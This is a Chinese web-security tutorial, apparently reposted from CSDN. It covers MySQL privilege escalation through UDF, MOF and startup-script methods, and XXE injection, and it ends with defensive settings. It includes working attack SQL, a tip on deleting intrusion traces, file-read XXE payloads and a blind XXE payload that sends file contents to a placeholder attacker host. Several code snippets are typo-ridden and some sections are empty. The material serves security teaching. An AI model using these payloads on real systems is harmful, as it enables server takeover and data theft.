Web漏洞分析-SQL注入&XXE注入(下)

2023-12-13 10:54:30

? ? ? 随着互联网的不断普及和Web应用的广泛应用,网络安全问题愈发引起广泛关注。在网络安全领域中,SQL注入和XXE注入是两个备受关注的话题,也是导致许多安全漏洞的主要原因之一。本博客将深入研究这两种常见的Web漏洞,带您探寻背后的原理、攻击方式和防御策略。
? ? ? ?SQL注入是一种臭名昭著的攻击方式,通过在输入框中插入恶意SQL语句,黑客可以绕过身份验证,进而访问、篡改或删除数据库中的数据。我们将探讨SQL注入的不同形式,以及如何通过正确的输入验证和参数化查询等手段来有效预防这类攻击。
? ? ? ?另一方面,XXE注入则利用XML处理器解析XML输入时的弱点,使攻击者能够读取本地文件、发起远程请求等。我们将详细分析XXE注入的工作原理,并介绍如何使用安全的XML解析器配置来降低风险。通过了解这两种漏洞的内在机制,我们希望能够为开发者、安全从业者以及对网络安全感兴趣的人们提供关于Web应用安全的深度认识。在这个信息互联的时代,保护我们的Web应用免受SQL注入和XXE注入等威胁是至关重要的。

七、注入提权

1、提权概述

(1)、问题:系统权限跟哪些因素有关

①、Windows2003 默认用户权限

(1)、System权限(普通用户管理工具查看不到) ;

(2)、administrator 权限 (可修改名称,但不能删除) ;

(3)、User组权限

(4)、Guest (拥有相对极少的权限,默认情是被禁用的) ;

(5)、IUSR *权限(安装 IIS 后出现的内建帐号,匿名访问 IIS:它是 GUEST 组的成员之一) ;

(6)、IWAM *帐户默认权限(与IIS有关,普通的用户帐户,您可以为其分配访问远程网络资源的权)

(2)、Windows2003默认用户组权限

①、administrators 权限 (系统管理员的权限,无法删除) ;

②、Backup OPerators: 不论它们是否有权访问这台计算机中的文件夹或文件,都可以通过“系统工具”-“备份”备份与还原这些文件夹与文件;

③、Guests(该组是提供没有用户帐户,但是需要访问本地计算机内资源的用户使用)

④、 Network Configuration Operators 可以在客户端执行-般的网络设置任务(更改IP地址),但是不可以安装/删除驱动程序与服务,也不可以执行与网络服务器设置有关的任务,例如DNS服务器、DHCP服务器的设置;

⑤、Power Users: 低于 ADMINISTRAOTRS,但远高于 GUEST,不能将添加管理员;

⑥、Users: 本地机器上所有的用户帐户: 这是一个低权限的用户组 (SID: S-1-5-32-545) ;

⑦、Everyone: 代表全部用户组,如果一个目录里面有 everyone 的WRX的,然后又支持 cmd ...;

⑧、Remote Desktop Users:该组的成员可以通过远程计算机登录,例如,利用终端服务器从远程计算机登录:

⑨、IIS_WPG: WINDOWS2003: 新增用户组:如安装了IIS,用来运行和种 WEB 应用程序的账

户将被容纳在这个用户组里。

(3)、Windows2003 默认文件夹权限

①、完全控制(修改、运行、列出文件夹目录、读、写):“完全控制”就是对目录拥有不受限制的完全访问。

②、修改: 像 Power users,选中了“修改”,下面的四项属性将被自动被选中。下面的任何一项没有被选中时,“修改”条件将不再成立。

③、列出文件夹目录: 指只能浏览该卷或目录下的子目录,不能读取,也不能运行。

④、特别的权限: 修改某个网站的某个特定网页文件。

(4)、Windows2003 默认文件夹权限

①、Windows权限设置的前提是NTFS(New Technology File System)格式,FAT32是不能设置权限的。

②、权限的四个特性:继承性、累加性、优先性、交叉性

(1)、累加性: 就好比兄弟的关系,比如一个用户组test,他有一个哥哥用户和弟弟用户,弟弟对文件夹sun 有读取的权限。哥哥对sun 文件夹有写入的权限。这个组对这个文件夹的权限就是哥哥+弟弟的权限,test 组就拥有了读取和写入的权限。

(2)、优先性:目录里设置了有读取权限,又拒绝访问,在这种情况下 windows 默认是拒绝权限优先。

(3)、交叉性: 当你把新建一个 txt 文本设置在 a 目录,在 a 目录下他是有写权限的你把他拷贝复制到 b 目录下,在同一个分区下,那个文件仍然保留写权限。

(5)、常见系统提权的类型(本地与远程)

①、操作系统提权 (UAC、特定服务)

②、数据库提权 (Mysgl、Oracle)

③、应用软件提权 (Server-U、Office)

④、webshell提权

(6)、常见系统提权的类型(本地与远程)

(7)、常见系统提权的类型

(8)、常见系统提权的类型

(9)、常见系统提权的类型

2、数据库提权

(1)、MySQL获取webshell

①、知道站点物理路径网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

②、有足够大的权限。最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysgl.user进行测试。

③、magic_quotes_gpc()=OFF参数设置。对于PHP magic_quotes_gpc=on的情况可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes0格式化输出因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sgl语句的执行。

④、直接导出webshell。可执行下面语句来实现。

(2)、MySQL获取webshell

①、直接导出webshell。可执行下面语句来实现

②、也可以通过创建表来直接完成(例子中d:/www/exehack.php为webshell的名称和路径)

(3)、MySQL提权常用命令

(4)、常见的数据库提权方式

3、UDF提权

(1)、UDF

①、UDF (用户定义函数) 是一类对MYSQL服务器功能进行扩充的代码

②、通过添加新函数,性质就象使用本地MYSQL函数abs()或concat()。

③、当需要扩展MYSOL服务器功能时,UDF通常是最好的选择。

④、但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

2)、UDF适用场合:

①、目标主机系统是Windows。

②、拥有该主机mysgl中的某个用户账号,该账号需要有对mysgl的insert和delete权限。

(3)、UDF常用函数

①、cmdshell 执行cmd;

②、downloader 下载者,到网上下载指定文件并保存到指定目录;

③、open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

④、backshell 反弹Shell;

⑤、枚举系统进程ProcessView

⑥、KillProcess 终止指定进程;

⑦、regread 读注册表;

⑧、regwrite 写注册表;

⑨、shut 关机,注销,重启;

⑩、about 说明与帮助函数;

(4)、UDF提权条件

①、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。由于mysql中my.ini文件的配置,有可能会导致无法创建自定义函数。这时候就需要修改my.ini进行重启。

②、Mysgl版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windows system32。

③、掌握的mysql数据库的账号有对mysgl的insert和delete权限以创建和抛弃函数般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

④、可以将udf.dll写入到相应目录的权限。

(5)、UDF提权的过程

①、导入udf.dll到服务器指定目录

主意事项:

(1)、mysgl版本大于等于5.1 udf.dll需要导入到plugin_dir目录,plugin_dir在mysql安装目录下的lib/plugin目录下(默认目录不存在,创建目录) mysql安装目录可以通过

select@@abasedir

(2)、mysql版本小与5.1udf.dll需要导入到c:windows\目录

(3)、使用sgl语句创建功能函数

②、创建cmdshell 函数。create function shell returns string sonameudf.dll'

③、执行mysql语句调用新创建的函数。

④、执行命令。select shell(cmd’,whoami')

⑤、清除痕迹,删除udf.dll文件以及其它相关入侵文件及日志。drop function cmdshell;// 将函数删除

(6)、NTFS ADS流来创建文件夹 (解决/lib/plugin目录不存在的问题)

①、select @@basedir; //查找到mysgl的目录

②、select 'It is dll' into dumpfile 'c: ?Program Files\ MySOL\\MySOL Server 5.1lib::$INDEX

ALLOCATION';

//利用NTFS ADS创建lib目录

③、select 'It is dll' into dumpfile 'C: ?Program Filesl MySOL\\MySOL Server

5.1lib\\plugin::$INDEX_ALLOCATION';

//利用NTFS ADS创建plugin目录

(7)、UDF提权实验

4、MOF提权

(1)、MOF

①、mof是windows系统的一个文件 (在c:/windows/system32/wbemmof/nullevt.mof) 叫做"托管对象格式"

②、mof作用是每隔五秒就会去监控进程创建和死亡

③、mof当中有一段是vbs脚本,vbs大多数的是cmd的添加管理员用户的命令

(2)、MOF

①、Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式(MOF) 文件:

(1)、方法1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

(2)、方法2: 使用 IMofCompiler 接口和 $ CompileFile 方法

(3)、方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

②、Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。

③、注意: MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%System32\

Wbem\MOF目录下,否则会失败!

(3)、MOF提权过程

①、将mof上传至任意可读可写目录下,假如传到D:\wamp\下命名为: test.mof。也就是: D:\wamp test.mof

②、使用sql语句将系统当中默认的nullevt.mof给替换掉,进而让系统执行恶意的mof文件。

③、替换的sql语句: select load_file('D:\wamp\test.mof') into dumpfile'c:windows/system32/

wbem/mof/nullevt.mof';

(4)、MOF-CODE

(5)、MSF直接mof提权

①、MSF下的 exploit/windows/mysgl/mysgl_mof 模块提供了直接Mof 提权

②、(该漏洞成功概率跟操作系统权限和MySQL数据库版本有关,执行成功后会直接反弹 shell 到 meterpreter)

(6)、MOF实验

5、WebshelI下的启动项提权

(1)、创建表并插入vbs脚本到表中

(2)、导出 vbs 脚本到启动

①、将刚才在a表中创建的vbs脚本导出到启动选项中

select * from a into outfile"C:llDocuments and SettingslAll Usersl1 [开始] 菜单程序启动a.vbs'

(3)、同功能脚本

(4)、Webshell下的启动项提权实验

6、注入提权的防范

(1)、MySQL数据库防范方法

①、查看mysql数据库中user表授权的登录host,禁止具备Root账号权限的用户通过“%”进行登录。

②、禁止在网站CMS系统使用root账号进行配置

③、设置root账号的密码为强密码。

④、对ysql执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi。例如D:\ComsenzEXP MySQL\data mysgl下的user表文件user.frm、user.myduser.myi要禁止网站用户读取和下载。

⑤、检查mysql数据库下的mysql表中是否存在其它无关表,检查func表中的内容

⑥、可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何人无读取和写入权限。

八、XXE注入

1、XML基础知识

(1)、XML

①、XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据定义数据类型

②、XML是一种允许用户对自己的标记语言进行定义的源语言

<?xml version="1.0" encoding="UTF-8"?>???//XML申明,它定义了XML文档的版本号

<note>??????????????//定义了文档里面的第一个元素(element)(根元素): </note>

<to>Tove</to>

<from>Jani</from>????????????????????//定义了根元素的四个子元素

<heading>Reminder</heading>

<body>Don't forget me this weekend!</body>

</note>????????????????????????????????//定义了根元素的结束标志</note>

(2)、XML与HTML的区别

3)、XML工作流程

(4)、XML应用场景

5)、XML

①、XML文档结构包括XML声明、DTD文档类型定义 (可选) 、文档元素

6)、DTD简介

①、DTD: Document Type Definition 即文档类型定义,用来为XML文档定义语义约束

②、DTD可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

7)、DTD 引用方式:

①、DTD 内部声明

<!DOCTYPE 根元素[元素声明]>

格式<!ENTITY 实体名称"实体的值">

示例:

<!DOCTYPE foo?[

<!ELEMENT foo ANY >

<!ENTITY xxe"Thinking">

]>

<foo>&xxe;</foo>

一个实体由三部分构成: 一个和号 (&),一个实体名称,以及一个分号 (;)

②、DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM“外部DTD的URI”>

格式: <!ENTITY 实体名称 SYSTEM“URI/URL”>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/win.ini">

]>

<foo>&xxe;</foo>

外部引用可支持http,file等协议,不同的语言支持的协议不同,一些通用的协议如下所示:

③、引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC“DTD标识名“公用DTD的URI”>

格式:<!ENTITY 实体名称 PUBLIC“public_ID”“URI”>

示例:

<!ENTITY public_dtd PUBLIC"DTD_name""DTD_location">

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。

利用DTD_location,在一定的环境下可以用来做内网探测

(2)、XXE攻击

(1)、XML和DTD的体系脆弱性

(2)、攻击者强制XML解析器去访问攻击者指定的资源内容 (可能是系统上本地文件亦或是远程系统上的文件) ,让应用程序去呈现。

(3)、XXE注入,即XML External Entity,XML外部实体注入

①、通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

3、XXE攻击分类

①、基础的XXE注入: 外部实体注入本地DTD

②、基于盲注的XXE注入: XML解析器在响应中不显示任何错误

③、基于错误的XXE注入: 成功解析之后,XML解析器始终显示SAME响应(即“您的消息已被接收”),可用解析器将文件的内容“打印”到错误响应中。

4、XXE漏洞的发现

(1)、应用程序怎样使用XML传输数据

(2)、应用程序怎样使用XML传输数据

请求

(3)、XXE漏洞的发现

①、检测XML是否会被解析
<xml version="1.0”encoding="UTF-8”?>

<!DOCTYPE ANY[

<!ENTITY shit''this is test code''>

]>

<root>&shit;</root>

如果$shit;变成了” this is test code”,那就继续第二步

②、检测服务器是否支持外部实体
<?xml version="1.0”encoding="UTF-8”?>

<!DOCTYPE ANY[

<!ENTITY % test SYSTEM http://yourhost/ceshi.xml>

%test;

]>

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求ceshi.xml的HTTP request。

③、检测服务器信息是否回显

如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

5、XXE常见危害

(1)、XXE常见危害

①、任意文件读取

②、内网信息探测 (包括端口和相关web指纹识别)

③、DOS攻击

④、远程命名执行

(2)、真实案例

使用微信支付时,商家需要提供通知网址以接受异步支付结果。 问题是微信在JAVA版本SDK中的实现存在一个xxe漏洞。 攻击者可以向通知URL构建恶意payload,根据需一旦攻击者获得商家的关键安全密钥 (md5-key和要窃取商家服务器的任何信息。merchant-Id等),就可以通过发送伪造信息来欺骗商家购买任何东西而无需付费。

(3)、任意文件读取

<?xml version="1.0"encoding="utf-8"?>

<!DOCTYPE test[

<!ELEMENT ceshi ANY >

<!ENTITY xxe SYSTEM"file:///etc/passwd">]>

<methodcall>

< ceshi >&xxe;</ ceshi >

</methodcall>

(4)、内网信息探测

①、借助各种协议如http服务的Server,XXE可以协助扫描内网,可以访问到内网开放Web并获取其他信息。

(5)、内网信息探测

根据不同xml解析器会得到不同的回显报错结果,例如81关闭,80端口开放等信息

(6)、DOS攻击

典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的

POC中中先定义了lol实体,值为"lol"的字符串后在下面又定义了1o12实体,1o12实体引用10个lol实体,lo13又引用了10个lo12实体的值,依此类推,到了最后在lolz元素中引用的1o19中就会存在上亿个"lol"字符串

此时解析数据时未做特别处理,即可能造成拒绝服务攻击。

(7)、远程命令执行

注意: PHP下需要expect扩展 (XML解析器)

6、Blind-XXE

(1)、不回显数据如何处理

<?php

$data = file_get_contents('php://input')

$xml = simplexml_load_string($data);

//echo $xml->name;

(2)、思路: 使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxxxxx。

<?xml version="1.0"encoding="utf-8"?>

<!DOCTYPE root[

<!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html

index.php'>

<!ENTITY % dtd SYSTEM"http://remote_ip/evil.dtd">

%dtd;

%send;

]>

<root></root>

evil.dtd:

<!ENTITY % payload "<!ENTITY % send SYSTEM http://local_ip/?content=%ttt;'>">%payload;

7、XXE漏洞的防护

(1)、配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD

(2)、可使用开发语言提供的禁用外部实体的方法

①、PHP:

libxml_disable_entity_loader(true);

②、JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

③、Python:

from lxml import etree

文章来源:https://blog.csdn.net/qq_61861243/article/details/134838407
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。